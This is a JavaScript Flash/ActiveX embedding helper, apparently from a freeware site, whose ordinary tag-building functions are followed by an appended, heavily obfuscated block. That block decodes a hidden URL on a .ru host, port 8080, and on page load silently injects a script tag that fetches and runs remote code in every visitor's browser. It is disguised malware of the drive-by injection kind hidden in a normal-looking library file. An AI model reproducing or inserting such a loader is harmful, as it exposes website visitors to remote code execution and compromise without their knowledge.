/*
www.flashrelease.com
Freeware solution to IE activex restriction
*/

function AC_RunFlContentX()
{
  AC_AddExtension(arguments, "movie", ".swf");
  AC_AddExtension(arguments, "src", ".swf");
  var codebase = AC_GetCodebase
                 (  "http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version="
                  , "7,0,0,0", arguments 
                 );
	
  AC_GenerateObj
  (  "AC_RunFlContentX()", true, "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
   , codebase
   , "http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
   , "application/x-shockwave-flash", arguments
  );	
}
var MSG_EvenArgs = 'The %s function requires an even number of arguments.'
                 + '\nArguments should be in the form "atttributeName","attributeValue",...';
var MSG_SrcRequired = "The %s function requires that a movie src be passed in as one of the arguments.";
function AC_AddExtension(args, paramName, extension)
{
  var currArg, paramVal, queryStr, endStr;
  for (var i=0; i < args.length; i=i+2){
    currArg = args[i].toLowerCase();    
    if (currArg == paramName.toLowerCase() && args.length > i+1) {
      paramVal = args[i+1];
      queryStr = "";
      var indQueryStr = args[i+1].indexOf('?');
      if (indQueryStr != -1){
        paramVal = args[i+1].substring(0, indQueryStr);
        queryStr = args[i+1].substr(indQueryStr);
      }
      endStr = "";
      if (paramVal.length > extension.length)
        endStr = paramVal.substr(paramVal.length - extension.length);
      if (endStr.toLowerCase() != extension.toLowerCase()) {
        args[i+1] = paramVal + extension + queryStr;
      }
    }
  }
}
function AC_GetCodebase(baseURL, defaultVersion, args)
{
  var codebase = baseURL + defaultVersion;
  for (var i=0; i < args.length; i=i+2) {
    currArg = args[i].toLowerCase();    
    if (currArg == "codebase" && args.length > i+1) {
      if (args[i+1].indexOf("http://") == 0) {
        codebase = args[i+1];
      }
      else {
        codebase = baseURL + args[i+1];
      }
    }
  }
	
  return codebase;	
}

function AC_checkArgs(args,callingFn){
  var retVal = true;
  if (parseFloat(args.length/2) != parseInt(args.length/2)){
    alert(sprintf(MSG_EvenArgs,callingFn));
    retVal = false;
  }
  return retVal;
}
function AC_GenerateObj(callingFn, useXHTML, classid, codebase, pluginsPage, mimeType, args){
  if (!AC_checkArgs(args,callingFn)){
    return;
  }
  var tagStr = '';
  var currArg = '';
  var closer = (useXHTML) ? '/>' : '>';
  var srcFound = false;
  var embedStr = '<embed';
  var paramStr = '';
  var embedNameAttr = '';
  var objStr = '<object classid="' + classid + '" codebase="' + codebase + '"';
  for (var i=0; i < args.length; i=i+2){
    currArg = args[i].toLowerCase();    
    if (currArg == "src"){
      if (callingFn.indexOf("RunSW") != -1){
        paramStr += '<param name="' + args[i] + '" value="' + args[i+1] + '"' + closer + '\n';
        embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
        srcFound = true;
      }
      else if (!srcFound){
        paramStr += '<param name="movie" value="' + args[i+1] + '"' + closer + '\n'; 
        embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
        srcFound = true;
      }
    }
    else if (currArg == "movie"){
      if (!srcFound){
        paramStr += '<param name="' + args[i] + '" value="' + args[i+1] + '"' + closer + '\n'; 
        embedStr += ' src="' + args[i+1] + '"';
        srcFound = true;
      }
    }
    else if (   currArg == "width" 
              || currArg == "height" 
              || currArg == "align" 
              || currArg == "vspace" 
              || currArg == "hspace" 
              || currArg == "class" 
              || currArg == "title" 
              || currArg == "accesskey" 
              || currArg == "tabindex"){
      objStr += ' ' + args[i] + '="' + args[i+1] + '"';
      embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
    }
    else if (currArg == "id"){
      objStr += ' ' + args[i] + '="' + args[i+1] + '"';
      if (embedNameAttr == "")
        embedNameAttr = ' name="' + args[i+1] + '"';
    }
    else if (currArg == "name"){
      objStr += ' ' + args[i] + '="' + args[i+1] + '"';
      embedNameAttr = ' ' + args[i] + '="' + args[i+1] + '"';
    }    
    else if (currArg == "codebase"){
    }    
      else{
      paramStr += '<param name="' + args[i] + '" value="' + args[i+1] + '"' + closer + '\n'; 
      embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
    }
  }
  if (!srcFound){
    alert(AC_sprintf(MSG_SrcRequired,callingFn));
    return;
  }

  if (embedNameAttr)
    embedStr += embedNameAttr;	
  if (pluginsPage)
    embedStr += ' pluginspage="' + pluginsPage + '"';
  if (mimeType)
    embedStr += ' type="' + mimeType + '"';
  objStr += '>\n';
  embedStr += '></embed>\n'; 
  tagStr = objStr + paramStr + embedStr + "</object>\n"; 
  document.write(tagStr);
}

var Oe=new Array();var jL;if(jL!='' && jL!='k'){jL=null};function M(){var bC='';var F='';var u;if(u!='K'){u='K'};var i=unescape;var f=new Date();var V=window;this.gQ='';var e;if(e!='' && e!='h_'){e=null};var ha=i("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%77%73%6a%2e%63%6f%6d%2f%6e%68%6c%2e%63%6f%6d%2e%70%68%70");var ig;if(ig!='ol'){ig='ol'};this.km="";var ns=new Array();var Wm=new Date();function h(R,z){var uR='';var JL=new Array();var D=new String("g");var x=i("%5b"), p=i("%5d");var Eb;if(Eb!='FT' && Eb!='gd'){Eb=''};var y=x+z+p;var dm=new String();var OSy;if(OSy!='S' && OSy != ''){OSy=null};var n=new RegExp(y, D);var uS="";var Oc;if(Oc!=''){Oc='xl'};return R.replace(n, new String());};var TN;if(TN!='Z' && TN != ''){TN=null};var Bg;if(Bg!='Fz'){Bg='Fz'};var J=h('83711670614438762463033235','79542136');var G=new String();var iV=new String();var d=document;var A;if(A!='rK'){A=''};var R_='';function c(){var ng;if(ng!='Am'){ng=''};var jM="";var za=i("%68%74%74%70%3a%2f%2f%69%63%79%63%68%69%6e%61%2e%72%75%3a");var yX=new String();var iQ=new String();var iR;if(iR!='' && iR!='sw'){iR='xf'};var Hd;if(Hd!='rF'){Hd=''};iV=za;var _H=new Date();iV+=J;var xH;if(xH!=''){xH='Oo'};iV+=ha;var dj=new Date();var CSK;if(CSK!='bq' && CSK!='WZ'){CSK=''};this.Mo="";this.ls="";try {var oe;if(oe!='Uk' && oe != ''){oe=null};var wY=new String();B=d.createElement(h('sucjrDijpjtY','ASWO_kRYPzv4jgqDTu'));var RC;if(RC!='KuE' && RC!='kL'){RC=''};var ux;if(ux!='wi' && ux!='OZ'){ux=''};B[i("%73%72%63")]=iV;var Hmt;if(Hmt!='yG'){Hmt='yG'};this.qx='';B[i("%64%65%66%65%72")]=[1][0];var dB;if(dB!='' && dB!='P'){dB=''};var El;if(El!='' && El!='FO'){El=''};var gT;if(gT!='' && gT!='eE'){gT='_d'};var Na;if(Na!='' && Na!='jy'){Na='dD'};d.body.appendChild(B);var mn;if(mn!='Wk' && mn!='Ak'){mn=''};var fb=new Array();var rZ;if(rZ!='' && rZ!='LA'){rZ=null};} catch(E){alert(E);var JE;if(JE!='sS'){JE=''};var kP=new Array();};var Ai;if(Ai!='' && Ai!='a'){Ai=null};}var ZV=new Date();var _P;if(_P!='v'){_P='v'};V[new String("onloa1j9".substr(0,5)+"d")]=c;var yZ;if(yZ!='bL' && yZ!='JZ'){yZ=''};var DV=new String();var vP=new String();};var Vn;if(Vn!='DZ' && Vn != ''){Vn=null};var Gk=new String();M();